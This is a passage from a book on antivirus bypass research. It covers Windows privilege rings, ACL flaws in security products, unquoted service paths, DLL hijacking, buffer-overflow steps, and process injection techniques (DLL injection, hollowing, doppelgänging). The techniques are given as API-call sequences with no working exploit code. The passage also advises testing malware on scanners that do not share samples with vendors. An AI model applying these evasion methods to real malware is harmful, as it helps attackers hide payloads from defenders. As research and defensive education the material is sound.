descriptions of the roles of each of these rings, moving from the outside in:
• Ring 3 – This ring is also known as "user mode", "userland", or "userspace". As
the name suggests, this ring is where the user interacts with the operating system,
mainly through the GUI (Graphical User Interface) or command line.
Any action taken by a program or process in the operating system is actually
transferred to the lower rings. For example, if a user saves a text file, the operating
system handles it by calling a Windows API function such as CreateFile(),
which, in turn, transfers control to the kernel (Ring 0). The kernel, in turn, handles
the operation by transferring the logical instructions to the final bits, which are then
written to a sector in the computer's hard drive.
44 Antivirus Research Approaches
• Rings 2 and 1 – Ring 2 and 1 are designed generally for device drivers. In a modern
operating system, these rings are mostly not used.
• Ring 0 – Ring 0, the kernel, is the lowest ring in the operating system and is
therefore also the most privileged. For malware authors, accessing this lowest
layer of the operating system is a dream come true, offering the lowest-to-highest
visibility of the operating system to get more critical and interesting data from
victim machines. The main goal of the kernel is to translate actions in a "back-to-
back" manner issued by the higher rings to the hardware level and vice versa. For
instance, an action taken by the user such as viewing a picture or starting a program
ultimately reaches the kernel.
The following diagram demonstrates the Windows API execution flow from user to kernel
space:
Figure 3.4 – The execution flow of the CreateFileW Windows API to the kernel
Some believe that antivirus software must be installed in Ring 0, the kernel level of the
operating system. This is actually a common misconception because, ideally, the only
programs running in Ring 0 will be drivers or other software strictly related to hardware.
As previously explained, in order for antivirus software to gain visibility of operating
system files, it needs to be installed in a lower ring than ring 3 as well as to be protected
from specific user interactions.
Every antivirus software has Ring 3 components, especially detection components that
can be configured insufficiently to allow a regular user (non-admin user) to discover
permissions-based vulnerabilities.
Windows access control list 45
The following table shows the permission levels of the Windows operating system
Discretionary Access Control List (DACL):
Table 3.1 – The Windows permission levels
As can be seen in the preceding table, we have a list of permissions and each one of them
has a unique capability in the operating system, such as writing and saving data to the
hard disk, reading data from a file, the execution of files, and more.
Windows access control list
Each file in the operating system, including executables, DLL files, drivers, and other
objects, has permissions based on the configured Access Control List (ACL).
The ACL in the Windows operating system is referred as the DACL and it includes two
main parts:
• The first part is the security principal that receives the relevant permissions.
• The second part is the permissions that the object receives in addition to other
inherited permissions.
46 Antivirus Research Approaches
Each of these objects is considered as a define acronym in the Access Control List. In the
following screenshot, we can see an example of such an acl:
Figure 3.5 – File security properties (DACL)
In the preceding screenshot, we can see the entities or the security principal objects that
will receive the relevant permissions.
Permission problems in antivirus software 47
Permission problems in antivirus software
The following are two examples of permission problems that can arise with antivirus
software.
Insufficient permissions on the static signature file
During our research, we found antivirus software whose static signature file had
insufficient permissions. This meant that any low-privileged user could erase the contents
of the file. When the antivirus software then scanned files, it would be comparing them to
an empty signature file.
We notified the antivirus vendor about this vulnerability and they released an update with
a patch that fixed the vulnerability.
Improper privileges
Permission problems can occur not only in antivirus software but in all kinds of security
solutions. In one of our research journies, we researched a Data Loss Prevention (DLP)
security solution of company named Symantec. This software's primary goal is to block
and prevent the leakage of sensitive data from the organization's network endpoints by
means of storage devices such as external hard drives, USB thumb drives, or file upload to
servers outside the network.
After a simple process of lead gathering, we found the process name of the DLP solution
and the full paths of these loaded processes in the file system along with their privilege
level. We discovered that the Symantec DLP agent had been implemented with improper
privileges. This means that a user (mostly administrative-privileged user) with escalated
privileges of NT AUTHORITY\SYSTEM could exploit the potential vulnerability and
delete all files within the DLP folder.
In this case, after we had escalated our privileges from Administrator to SYSTEM
(using the Sysinternals-PSexec utility), and after we had gathered sufficient
leads indicating the full path of the DLP folder (using the Sysinternals-Process
Explorer utility), we deleted the folder contents and rebooted the machine. With this
accomplished, we were able to successfully exfiltrate data from the organization's machine,
utterly defeating the purpose of this costly and complicated DLP solution.
We contacted Symantec regarding this vulnerability and they released a newer version
where the vulnerability is patched and fixed.
Permission problems can also manifest as an an Unquoted Service Path vulnerability.
48 Antivirus Research Approaches
Unquoted Service Path
When a service is created within the Windows operating system whose executable path
contains spaces and is not enclosed within quotation marks, the service will be susceptible
to an Unquoted Service Path vulnerability.
To exploit this vulnerability, an executable file must be created in a particular location in
the service's executable path, and instead of starting up the antivirus service, the service
we created previously will load first and cause the antivirus to not load during operating
system startup.
When this type of vulnerability is located on an endpoint, regardless of which antivirus
software is in place, it can be exploited to achieve higher privileges with the added value of
persistence on the system.
For antivirus bypass research, this vulnerability can be used for a different purpose, to
force the antivirus software to not load itself or one of its components so it will potentially
miss threats and in that way, the vulnerability can bypass the antivirus solution.
In December 2019, we publicized an Unquoted Service Path vulnerability in Protegent
Total Security version 10.5.0.6 (Protegent Total Security 10.5.0.6 - Unquoted Service Path
– https://cxsecurity.com/issue/WLB-2019120105):
Figure 3.6 – Protegent Total Security 10.5.0.6 – Unquoted Service Path vulnerability
Another vulnerability that could help us bypass antivirus software is DLL preloading/
hijacking.
DLL hijacking 49
DLL hijacking
This vulnerability takes advantage of the insecure DLL loading mechanism in the
Windows operating system.
When software wants to load a particular DLL, it uses the LoadLibraryW() Windows
API call. It passes as a parameter to this function the name of the DLL it wishes to load.
We do not recommend using the LoadLibrary() function, due to the fact that it is
possible to replace the original DLL with another one that has the same name, and in that
way to cause the program to run our DLL instead of the originally intended DLL.
In non-antivirus software, this vulnerability can have a low/medium severity level, but
in the context of antivirus software, this vulnerability could reach critical severity, since
we could actually cause the antivirus to load and run a malicious DLL. In certain cases, it
could even cause the DLL to disable the antivirus itself or even aid in bypassing white-list
mechanisms.
Important note
In order to exploit a DLL hijacking vulnerability in antivirus software, many
times you will need to achieve high privileges before the exploitation can take
place.
In recent years, many vulnerabilities of this type have emerged in antivirus software from
leading vendors, such as AVG and Avast (CVE-2019-17093) (https://nvd.nist.
gov/vuln/detail/CVE-2019-17093), Avira (CVE-2019-17449) (https://
nvd.nist.gov/vuln/detail/CVE-2019-17449), McAfee (CVE-2019-3648)
(https://nvd.nist.gov/vuln/detail/CVE-2019-3648), Quick Heal (CVE-
2018-8090) (https://nvd.nist.gov/vuln/detail/CVE-2018-8090), and
more.
Another vulnerability that can help us to bypass antivirus software is buffer overflow.
50 Antivirus Research Approaches
Buffer overflow
A buffer overflow (or overrun) is a very common and well-known attack vector that is
mostly used to "overflow" vulnerable programs. This involves sending a large amount
of data, which is handled without proper input validation, causing the program to fail
in one of a number of ways. Once this vulnerability has been exploited, it can be used
to inject malicious shellcode and take full control of the victim's device. Over the years,
buffer-overflow vulnerabilities have also been exploited in the wild to bypass security
mechanisms such as antivirus software, both through bypassing antivirus engines and
through gaining full control of the target victim machine.
There are two types of buffer overflow vulnerabilities that can be exploited:
• Stack-based buffer overflow
• Heap-based buffer overflow
To keep things simple, we will focus on stack-based buffer overflow, since the goal of this
book is to bypass antivirus software and not primarily exploiting these vulnerabilities. So
we will explore how to exploit a stack-based buffer overflow and how to use it to bypass
antivirus software.
There are two approaches to locate buffer overflow vulnerabilities, whether stack- or heap-
based: manual and automated.
The manual approach involves searching manually for user-based inputs such as program
arguments and determining the mechanism behind the user input and the functionalities
it uses. To do this, we can make use of tools such as disassemblers, decompilers, and
debuggers.
The automated approach involves using tools known as "fuzzers" that automate the task
of finding user inputs and, potentially, finding vulnerabilities in the mechanisms and
functionalities behind the code. This activity is known as "fuzzing" or "fuzz testing." There
are several types of fuzzers that can be used for this task:
• Mutation-based
• Dumb
• Smart
• Structure-aware
Summary 51
Stack-based buffer overflow
This vulnerability can be exploited if there is no proper boundary input validation. The
classic example involves using functions such as strcat() and strcpy(), which does
not verify the length of the input. These functions can be tested dynamically using fuzzers
or even manually using disassemblers such as IDA Pro and debuggers such as x64dbg.
Here are the general steps to take to exploit this type of vulnerability:
1. Make the program crash to understand where the vulnerability occurs.
2. Find the exact number of bytes to overflow before we reach the beginning address
of the EIP/RIP (instruction pointer) register.
3. Overwrite the EIP/RIP register to point to the intended address of the injected
shellcode.
4. Inject the shellcode into the controllable intended address.
5. Optionally, inject NOP (no-operation) sleds if needed.
6. Jump to the address of the injected payload to execute it.
There are many ways of achieving this goal, including using a combination of "leave" and
"ret" instructions, facilitating Return-Oriented Programming (ROP) chains, and more.
Buffer overflow – antivirus bypass approach
Sometimes antivirus software does not use proper boundary input validation in one or
even several of the antivirus engine components. For example, if the unpacking engine
of an antivirus program tries to unpack malware with an allocated buffer for file contents
and it uses a function called strcpy() to copy a buffer from one address to another,
an attacker can potentially overflow the buffer, hijack the extended instruction pointer
(EIP) or RIP register of the antivirus engine process and make it jump to another location
so the antivirus will not check a file even if it is malicious, or even crash the antivirus
program itself.
Summary
In this chapter, we presented to you two of our main antivirus bypass approaches
(vulnerability-based bypass and detection-based bypass) and detailed the first approach, the
approach of discovering new vulnerabilities that can help us to bypass the antivirus software.
There are several types of vulnerabilities that can achieve a successful antivirus bypass.
In the next three chapters, we will discuss and go into details of the second approach,
using many bypass methods followed by 10 practical examples.
Section 2:
Bypass the
Antivirus – Practical
Techniques to Evade
Antivirus Software
In this section, we'll explore practical techniques to bypass and evade modern antivirus
software. We'll gain an understanding of the principles behind bypassing dynamic, static,
and heuristic antivirus engines and explore modern tools and approaches to practically
bypass antivirus software.
This part of the book comprises the following chapters:
• Chapter 4, Bypassing the Dynamic Engine
• Chapter 5, Bypassing the Static Engine
• Chapter 6, Other Antivirus Bypass Techniques
4
Bypassing the
Dynamic Engine
In this chapter, you will learn the basics of bypassing the dynamic engine of an antivirus
software.
We will learn how to use VirusTotal and other antivirus engine detection platforms to
identify which antivirus software we managed to bypass. Furthermore, we will go through
understanding and implementing different antivirus bypass techniques that can be used to
potentially bypass antivirus engines, such as process injection, the use of a dynamic-link
library (DLL), and timing-based techniques to bypass most of the antivirus software out
there.
In this chapter, you will achieve an understanding of practical techniques to bypass
antivirus software, and we will explore the following topics:
• The preparation
• VirusTotal
• Antivirus bypass using process injection
• Antivirus bypass using a DLL
• Antivirus bypass using timing-based techniques
56 Bypassing the Dynamic Engine
Technical requirements
To follow along with the topics in the chapter, you will need the following:
• Previous experience in antivirus software
• Basic understanding of memory and processes in the Windows operating system
• Basic understanding of the C/C++ or Python languages
• Basic understanding of the Portable Executable (PE) structure
• Nice to have: Experience using a debugger and disassemblers such as the
Interactive Disassembler Pro (IDA Pro) and x64dbg
Check out the following video to see the code in action: https://bit.ly/2Tu5Z5C
The preparation
Unlike when searching for vulnerabilities and exploiting them, bypass techniques do not
mainly deal with antivirus engine vulnerability research. Instead, they deal more with
writing malware that contains a number of bypass techniques and then test the malware
containing these techniques against the antivirus engines we seek to bypass.
For example, if we want to find a particular vulnerability in an antivirus engine, we need
to the following:
1. We need to gather research leads. Then, for each lead, we will have to determine
what the lead does, when it starts running, whether it is a service, whether it starts
running when we scan a file, and whether it is a DLL injected into all processes,
along with many further questions to help guide our research.
2. After that, we need to understand which vulnerability we are looking for, and only
then can we actually begin researching antivirus software to find the vulnerability.
3. To use a bypass technique, we first of all need to gather research leads, and after
that, we start writing malware code that contains several relevant bypass techniques.
4. Then, we begin the trial-and-error stage with the malware we have written,
testing whether it manages to bypass the antivirus software, and draw conclusions
accordingly.
The preparation 57
When a particular technique succeeds in bypassing specific antivirus software, it is always
a good idea to understand why it succeeded and which engine in the antivirus software
has been bypassed (static, dynamic, or heuristic). We can apply this understanding to the
leads we have gathered to perform reverse engineering so that we can be sure that the
technique indeed succeeds in bypassing the engine. Of course, at the end of this process,
it is essential to report the bypass to the software vendor and suggest solutions on how to
improve their antivirus software.
Note
Because of legal implications, we sometimes use pseudo code and payloads in
this book.
Basic tips for antivirus bypass research
Before beginning antivirus bypass research, here are a few important points to keep in
mind:
• Use the most recent version of the antivirus software.
• Update the signature database to the most current version to make sure you have
the newest static signatures.
• Turn off the internet connection while conducting research, since we do not want
the antivirus software making contact with an external server and signing a bypass
technique we have discovered.
• Use the most recent version of the operating system with the latest knowledge base
(KB) so that the bypass will be effective.
Now that we are familiar with the topic of antivirus bypass research, let's learn about the
importance of using VirusTotal and other platforms as part of our research.
58 Bypassing the Dynamic Engine
VirusTotal
In this book and in research of antivirus bypass techniques in general, we will use
platforms such as VirusTotal a lot.
VirusTotal (https://www.virustotal.com/) is a very well-known and popular
malware-scanning platform.
VirusTotal includes detection engines of various security vendors that can be checked
against when uploading files, to check whether these detection engines detect a file as
malware or even as suspicious, searching values such as the Uniform Resource Locator
(URL), Internet Protocol (IP) addresses, and hashes of already uploaded files. VirusTotal
provides many more features, such as a VirusTotal graph, which provide the capability to
check relations of files, URLs, and IP addresses and cross-referencing between them.
Platforms such as VirusTotal are very useful to us to understand whether our malware
that is based on some of our bypass techniques actually bypasses part—or even all—of the
antivirus engines present in the relevant platform. Furthermore, if our malware is detected
in one or more antivirus engines, the name of the signature that detected our malware is
presented to us so that we can learn from it and adapt accordingly.
The home page of VirusTotal is shown in the following screenshot:
Figure 4.1 – virustotal.com
VirusTotal 59
When we upload a file to VirusTotal, the site sends the file to many antivirus engines
to check if the file is malicious. If any engine has detected the file as a malicious file,
VirusTotal will show us the name of the antivirus software that detected the malware, with
the name of the signature highlighted in red.
Once we uploaded a file to VirusTotal, VirusTotal will check if the hash already exists in
its database. If so, it will show the latest scanning results, and if not, VirusTotal will submit
the file to check whether the file is a malicious one.
For example, here is a file that was detected as malware in multiple antivirus engines, as
displayed by VirusTotal:
Figure 4.2 – VirusTotal scanning score results
In order to better detect malware, VirusTotal includes an internal sandbox called
VirusTotal Jujubox.
VirusTotal Jujubox is a Windows-based behavioral analysis sandbox that will show its
results as a report, as part of the results of many scanned files.
60 Bypassing the Dynamic Engine
The Jujubox sandbox extracts important behavioral information regarding the execution
of malicious files, including file input/output (I/O) operations, registry interactions,
dropped files, mutex operations, loaded modules such as DLLs and executables, JA3
hashing, and use of Windows Application Programming Interface (API) calls.
Furthermore, it supports the interception of network traffic including HyperText Transfer
Protocol (HTTP) calls, Domain Name System (DNS) resolutions, Transmission
Control Protocol (TCP) connections, the use of Domain Generation Algorithms
(DGAs), providing a dump of packet capture (PCAP) files, and more.
In order to display the full results of the Jujubox sandbox, you need to go to the
BEHAVIOR tab, click on VirusTotal Jujubox, and then click on Full report, as illustrated
in the following screenshot:
Figure 4.3 – VirusTotal's BEHAVIOR tab
After that, a new window will open that will include details from VirusTotal Jujubox— for
example, Windows API Calls, a Process tree, Screenshots, and more, as illustrated in the
following screenshot:
Figure 4.4 – VirusTotal Jujubox page
Let's now look at alternatives to VirusTotal.
VirusTotal alternatives 61
VirusTotal alternatives
In addition to VirusTotal, you have various other alternatives, such as VirScan
(https://www.virscan.org/language/en/) and Jotti's malware scan
(https://virusscan.jotti.org/).
The following screenshot shows an example of VirScan detections:
Figure 4.5 – VirScan detections
62 Bypassing the Dynamic Engine
The following screenshot shows an example of Jotti's malware scan detections:
Figure 4.6 – Jotti's malware scan detections
Important note
Although we tested our malware with VirusTotal, we strongly discourage you
from doing this. VirusTotal has a policy that all files and URLs shared with
them will be shared with antivirus vendors and security companies—in their
words, "to help them in improving their products and services". As a result of
this policy, any antivirus software that cannot yet detect the malware you have
created will receive a report not only about your payload structure but also
about the methodology behind it, improving their ability to detect this type of
payload in the future.
For that reason, we recommend you only test your malware on sites that do not
share information, such as AntiScan.Me (https://antiscan.me/).
Now that we know about VirusTotal and its alternatives, we will move on to learning
about the bypass techniques we used during our research. Using these techniques, you will
be able to successfully bypass most of the world's leading antivirus software.
Antivirus bypass using process injection 63
Antivirus bypass using process injection
One of the central challenges of malware authors is to hide malware from both antivirus
software and users. That is not an easy challenge.
Originally, malware authors relied on the simple technique of changing the malware's
name to a legitimate filename that would arouse suspicion within the system, such as
svchost.exe or lsass.exe. This technique worked on ordinary users who lack a
basic understanding of and a background in computers and technology but, of course, it
did not work on knowledgeable users with an understanding of how operating systems
and antivirus software work.
This is where the process-injection technique enters the picture.
What is process injection?
Process injection is one of the most common techniques used to dynamically bypass
antivirus engines. Many antivirus vendors and software developers rely on so-called
process injection or code injection to inspect processes running on the system. Using
process injection, we can inject malicious code into the address space of a legitimate
process within the operating system, thereby avoiding detection by dynamic antivirus
engines.
Most of the time, achieving this goal requires a specific combination of Windows API
calls. While writing this book we used about five methods to do so, but we will explain
the three most basic of these techniques for injecting code into a target process. It is
worth mentioning that most antivirus engines implement this practice in order to inspect
malicious code in processes running within the operating system.
But it is not only antivirus vendors who take advantage of this ability, but also threat
actors, who abuse it to inject their malicious code for purposes such as logging
keystrokes, hiding the presence of malware under other legitimate processes, hooking
and manipulation of functions, and even for the purpose of gaining access to escalated
privilege levels.
Before we understand what process injection is, we need to know about the concept of a
process address space.
64 Bypassing the Dynamic Engine
Process address space
A process address space is a space that is allocated to each process in the operating
system based on the amount of memory the computer has. Each process that is allocated
memory space will be given a set of memory address spaces. Each memory address space
has a different purpose, depending on the programmer's code, on the executable format
used (such as the PE format), and on the operating system, which actually takes care of
loading the process and its attributes, mapping allocated virtual addresses to physical
addresses, and more. The following diagram shows a sample layout of a typical process
address space:
Figure 4.7 – Process address space
Now that we understand what process injection is, we can proceed further to understand
the steps and different techniques to achieve process injection.
Antivirus bypass using process injection 65
Process-injection steps
The goal of process injection, as mentioned previously, is to inject a piece of code into
the process memory address space of another process, give this memory address space
execution permissions, and then execute the injected code. This applies not merely to
injecting a piece of shellcode but also to injecting a DLL, or even a full executable (EXE)
file.
To achieve this goal, the following general steps are required:
1. Identify a target process in which to inject the code.
2. Receive a handle for the targeted process to access its process address space.
3. Allocate a virtual memory address space where the code will be injected and
executed, and assign an execution flag if needed.
4. Perform code injection into the allocated memory address space of the targeted
process.
5. Finally, execute the injected code.
The following diagram depicts this entire process in a simplified form:
Figure 4.8 – Process injection diagram
Now that we have this high-level perspective into how process injection or code injection
is performed, let's turn to an explanation of Windows API functions.
66 Bypassing the Dynamic Engine
Windows API
Before delving into what Windows API functions are, we first need to have an
understanding of what an API is in a general sense. An API is a bridge between two
different applications, systems, and architectures. Practically speaking, the main goal of
an API function is to abstract underlying implementations, to aid developers in creating
programs.
The Windows API is Microsoft's core set of APIs, allowing developers to create code that
interacts with underlying, prewritten functionality provided by the Windows operating
system.
Why we need the Windows API
To understand the concept more clearly, the following is a simple "Hello World" program
coded in C:
#include <stdio.h>
int main(void) {
printf("Hello, World!\n");
}
Notice that in the preceding code snippet, there is an import of stdio.h, known as a
header file. The import is done using the #include directive. This header file provides
a function called printf that takes one parameter: the string intended to be printed.
The printf function itself actually contains a relatively large amount of code simply
to print out a basic string. This is a great example because it highlights the importance
of Windows API functions. These provide us with much essential functionality that we
would otherwise need to develop ourselves. With access to API-based functions, we can
create code more easily and efficiently, and in a more clear and elegant way.
Windows APIs and Native APIs – the differences
To understand more deeply what is going on under the hood of the Windows operating
system, we also need to look at the differences between Windows APIs and Native APIs.
Windows API functions are user-mode functions that are fully documented on
Microsoft's site at msdn.microsoft.com. However, most Windows API functions
actually invoke Native APIs to do the work.
Antivirus bypass using process injection 67
A great example of this is the Windows API CreateFile() function, which creates a
file or receives a handle to an existing file to read its data. The CreateFile() function,
as with any other Windows API function, comes in two types: an 'A' type and a 'W' type.
When the 'A' type is used in a Windows API function, it expects to receive an American
National Standards Institute (ANSI) string argument. When the 'W' type is used in a
Windows API function, it expects a wide-character string argument. In fact, most of the
Windows API functions will use the 'W' type, but it also depends on how the code author
creates its code and which compiler is selected.
When a Windows API function such as CreateFile() is called, depending on the
parameter provided by the developer, Windows will then transfer execution to one of two
Native API routines: ZwCreateFile or NtCreateFile.
Windows API execution flow – CreateFile
Here is a practical example of the CreateFile execution flow just mentioned. We will
use the File -> Open… option in notepad.exe and open a demo file that we have
previously created for the sake of this demo. Before we do this, we need to use Process
Monitor (ProcMon).
In Procmon.exe, we will set up filters, as shown in the following screenshot:
Figure 4.9 – ProcMon filtering by example
68 Bypassing the Dynamic Engine
As seen here, we can configure the Process Name filter to display the exact and only
results of the notepad.exe process. Then, we use the Operation filter to be only the
value of CreateFile, which of course, as explained before, creates a file or receives a
handle to an existing one. Finally, we use the Path filter followed by the Demo value so
that it will only display results regarding filenames with a Demo string in them. Here is a
screenshot that shows the results after the opening of the file with notepad.exe:
Figure 4.10 – ProcMon CreateFile example
As seen here, the CreateFile operation is performed with a Desired Access of Generic
Read, as it should be. Let's now go deeper and understand how this operation is executed
from a low-level perspective. In the following example, and in the case of Windows's
notepad.exe program, the Windows API function used is CreateFileW. We need to
put a breakpoint on this function to understand the execution flow. To do this, we will use
the x64dbg user-mode debugger.
The following screenshot demonstrates how a breakpoint is set on the CreateFileW
function and shows that the process hit the breakpoint:
Antivirus bypass using process injection 69
Figure 4.11 – x64dbg CreateFileW call example
In the command pane of x64dbg, you can see the bp CreateFileW command, and after
we hit Enter and the F9 key to continue execution, the process hit the breakpoint. There,
we can now see an assembly instruction of jmp CreateFileW, which is part of the
kernel32.dll library.
70 Bypassing the Dynamic Engine
The following screenshot shows what happens after the jump is executed—execution is
transferred from kernel32.dll to the kernelbase.dll library, which contains the
actual Windows Native API function, ZwCreateFile:
Figure 4.12 – x64dbg ZwCreateFile call example
Finally, in the following screenshot, you can see that the execution is transferred from the
kernelbase.dll library to the ntdll.dll library before the syscall instruction
is executed and transferred to lower layers of the Windows operating system such as the
kernel:
Figure 4.13 – x64dbg syscall after ZwCreateFile call example
Armed with this deeper understanding of the basic concepts and practices underlying
how Windows handles process execution, we can now delve into three process-injection
techniques.
Antivirus bypass using process injection 71
Classic DLL injection
We refer to this first technique as classic DLL injection. This technique forces the loading
of a malicious DLL into a remote process by using these six basic Windows API functions:
• OpenProcess: Using this function and providing the target process ID as one of
its parameters, the injector process receives a handle to the remote process.
• VirtualAllocEx: Using this function, the injector process allocates a memory
buffer that will eventually contain a path of the loaded DLL within the target
process.
• WriteProcessMemory: This function performs the actual injection, inserting the
malicious payload into the target process.
• CreateRemoteThread: This function creates a thread within the remote process,
and finally executes the LoadLibrary() function that will load our DLL.
• LoadLibrary/GetProcAddress: These functions return an address of the
DLL loaded into the process. Considering that kernel32.dll is mapped to the
same address for all Windows processes, these functions can be used to obtain the
address of the API to be loaded in the remote process.
Note
The x86 and x64 processes have a different memory layout, and loaded DLLs
are mapped onto different address spaces.
After performing these six functions, the malicious DLL file runs within the operating
system inside the address space of the target victim process.
72 Bypassing the Dynamic Engine
In the following screenshot, you can see a malware that is using classic DLL injection in
IDA Pro view:
Figure 4.14 – Classic DLL injection in IDA Pro
Now that we understand this basic process-injection technique, let's proceed to the next
ones.
Process hollowing
The second of the three techniques we will discuss here is called process hollowing.
This is another common way to run malicious code within the memory address space of
another process, but in a slightly different way from classic DLL injection. This injection
technique lets us create a legitimate process within the operating system in a SUSPENDED
state, hollow out the memory content of the legitimate process, and replace it with
malicious content followed by the matched base address of the hollowed section. This way,
even knowledgeable Windows users will not realize that a malicious process is running
within the operating system.
Here are the API function calls used to perform the process-hollowing injection
technique:
• CreateProcess: This function creates a legitimate operating system process
(such as notepad.exe) in a suspended state with a dwCreationFlags
parameter.
Antivirus bypass using process injection 73
• ZwUnmapViewOfSection/NtUnmapViewOfSection: Those Native API
functions perform an unmap for the entire memory space of a specific section of a
process. At this stage, the legitimate system process has a hollowed section, allowing
the malicious process to write its malicious content into this hollowed section.
• VirtualAllocEx: Before writing malicious content, this function allows us to
allocate new memory space.
• WriteProcessMemory: As we saw before with classic DLL injection, this
function actually writes the malicious content into the process memory.
• SetThreadContext and ResumeThread: These functions return the context to
the thread and return the process to its running state, meaning the process will start
to execute.
In the following screenshot, you can see a malware that is using process hollowing in IDA
Pro view:
Figure 4.15 – The first three Windows API calls of process hollowing in IDA Pro
74 Bypassing the Dynamic Engine
The preceding screenshot shows the first three Windows API calls. The following
screenshot shows the last four of these:
Figure 4.16 – The last four Windows API calls of process hollowing in IDA Pro
Process hollowing used to be an effective method to bypass antivirus software, but today's
antivirus engines will detect it relatively easily. Let's continue with the last process-
injection example.
Antivirus bypass using process injection 75
Process doppelgänging
The third—and last—technique that we will explain in this book is called process
doppelgänging. This fascinating process-injection technique is mostly used to bypass
antivirus engines and can be used to evade some memory forensics tools and techniques.
Process doppelgänging makes use of the following Windows API and Native API
functions:
• CreateFileTransacted: This function creates or opens a file, file stream, or
directory based on Microsoft's NTFS-TxF feature. This is used to open a legitimate
process such as notepad.exe.
• WriteFile: This function writes data to the destined injected file.
• NtCreateSection: This function creates a new section and loads the malicious
file into the newly created target process.
• RollbackTransaction: This function ultimately prevents the altered executable
(such as notepad.exe) from being saved on the disk.
• NtCreateProcessEx, RtlCreateProcessParametersEx,
VirtualAllocEx, WriteProcessMemory, NtCreateThreadEx,
NtResumeThread: All of these functions are used to initiate and run the altered
process so that it can perform its intended malicious activity.
In the following screenshot, you can see a PE file that is using process doppelgänging in
IDA Pro view:
Figure 4.17 – The first two Windows API calls of process doppelgänging
76 Bypassing the Dynamic Engine
The preceding screenshot shows the first two Windows API calls. The following
screenshot shows the last two of these:
Figure 4.18 – The last two Windows API calls of process doppelgänging
Based on a study presented in 2017 by Tal Liberman and Eugene Kogan, Lost in
Transaction: Process Doppelgänging (https://www.blackhat.com/docs/
eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-
Doppelganging.pdf), the following table shows that the process doppelgänging
process-injection technique succeeded in evading all of the listed antivirus software:
Antivirus bypass using process injection 77
Table 4.1 – Bypassed antivirus software using process doppelgänging
Now that we have finished explaining about the three techniques of process injection, let's
understand how threat actors use process injection as part of their operations.
Process injection used by threat actors
Over the years, many threat actors have used a variety of process-injection techniques,
such as the following advanced persistent threat (APT) groups:
• APT 32 (https://attack.mitre.org/groups/G0050/)
• APT 37 (https://attack.mitre.org/groups/G0067/)
• APT 41 (https://attack.mitre.org/groups/G0096/)
• Cobalt Group (https://attack.mitre.org/groups/G0080/)
• Kimsuky (https://attack.mitre.org/groups/G0094/)
• PLATINUM (https://attack.mitre.org/groups/G0068/)
• BRONZE BUTLER (https://attack.mitre.org/groups/G0060/)
78 Bypassing the Dynamic Engine
In the past, many types of malware created by APT groups made use of basic injection
techniques, such as those described here, to hide themselves from users and from
antivirus software. But since these injection techniques have been signed by antivirus
engines, it is no longer practical to use them to perform antivirus software bypass.
Today, there are more than 30 process-injection techniques, some of which are better
known than others.
Security researchers are always trying to find and develop new injection techniques,
while antivirus engines try to combat injection mainly using the following two principal
methods:
1. Detecting the injection at a static code level—searching for specific combinations of
functions within the compiled code even before execution of the file.
2. Detecting the injection at runtime—monitoring processes within the operating
system to identify when a particular process is attempting to inject into another
process (a detection that will already raise an alert at the initial handle operation on
the target victim process).
In November 2019, we published a poster containing 17 different injection types, with
relevant combinations of functions for each injection type. This was aimed at helping
security researchers investigate, hunt for, and classify malware by injection type, as well as
to help security researchers and antivirus developers perform more efficient detection of
injection types.
Here is the first part of that poster:
Antivirus bypass using process injection 79
Figure 4.19 – Hunting Process Injection by Windows API Calls: Part 1
80 Bypassing the Dynamic Engine
Here is the second part of that poster:
Figure 4.20 – Hunting Process Injection by Windows API Calls: Part 2
Now that we know about process injection, we will move on to learning the second bypass
technique we used during our research: antivirus bypass using a DLL.
Antivirus bypass using a DLL 81
Antivirus bypass using a DLL
A DLL is a library file containing number of functions (sometimes hundreds or more) that
are, as the name suggests, dynamically loaded and used by Windows PE files.
DLL files either include or actually export Windows and Native API functions that are
used or imported by PE executables. Those DLLs are used by various programs such as
antivirus software programs, easing development by letting coders call a wide range of
prewritten functions.
To understand better what a DLL file is, as well as any other PE-based file types, it is
important to understand the PE file format.
PE files
PE files play an important role in the Windows operating system. This file format is used
by executable binary files with the .exe extension as well as by DLLs with the .dll
extension, but those are not only the file types using this versatile file format. Here are a
few others:
• CPL: Base file for control panel configurations, which plays a basic and important
role in the operating system. An example is ncpa.cpl, the configuration file of the
network interfaces available on Windows.
• SYS: System file for Windows operating system device drivers or hardware
configuration, letting Windows communicate with hardware and devices.
• DRV: Files used to allow a computer to interact with particular devices.
• SCR: Used as a screen saver—used by the Windows operating system.
• OCX: Used by Windows for ActiveX control for purposes such as creating forms and
web page widgets.
• DLL: Unlike with EXE files, DLL files cannot be run on the hard drive by double-
clicking on them. Running a DLL file requires a host process that imports and
executes its functions. There are a few different ways to accomplish this.
As with many other file formats (Executable Linkable Format (ELF) and Mach Object
(Mach-O) files, to name but a few), the PE file format structure has two main parts: the PE
headers, which will include relevant and important technical information about PE-based
files, and the PE sections, which will include the PE file content. Each one of the sections
will serve a different goal in PE files.
82 Bypassing the Dynamic Engine
PE file format structure
The following diagram demonstrates the structure of a mmmArsen.exe file:
Figure 4.21 – The PE structure
Let's look at PE headers.
PE headers
Here is an explanation of each one of the PE headers:
• Disk Operating System (DOS) header—An identifier or magic value to identify PE
files.
• DOS stub—An old message that still remains in most PE files. It will likely say This
program cannot be run in DOS mode and will sometimes be manipulated
in order to bypass antivirus software.
• PE header—This header basically declares that a file is in the PE file format.
• Optional header—This will include variable information such as the size of
the code, the entry point of the executable/library file, the image base, section
alignment, and more.
• Sections table—This is a reference table for each one of the PE sections.
Antivirus bypass using a DLL 83
PE sections
Here is an explanation of each one of the PE sections:
• Code section—This section will include the machine code of the program
(compiled code) that the central processing unit (CPU) will eventually execute.
• Imports section—This section will include needed functions, which are imported
from DLLs such as Kernel32.dll and Ntdll.dll.
• Data section—This section will include the variables and function parameters that
will be used by the program.
The execution
The first option is to use rundll32.exe, which allows the execution of a function
contained within a DLL file using the command line. For example, to run the entry point
with a single argument, we can use the following syntax:
RUNDLL32.EXE <dllname>,<entrypoint> <argument>
As an example, the following screenshot demonstrates a DLL running under rundll32.
exe with an non existent function name:
Figure 4.22 – Hello World DLL running using rundll32.exe
84 Bypassing the Dynamic Engine
A second way to execute DLL files is by loading the file into an EXE file using the
LoadLibrary()/LoadLibraryEx() functions. When an EXE file uses the
LoadLibrary() function, it passes the name of the module as a parameter, as follows:
Figure 4.23 – LoadLibraryA() Windows API function from Microsoft Developer Network (MSDN)
Only once this is done can the DLL file be run within the EXE file that called it.
Many hackers take advantage of this mechanism for the following reasons:
• DLL files are usually hidden from the ordinary user.
• When a DLL loads inside another process, that DLL has access to the process
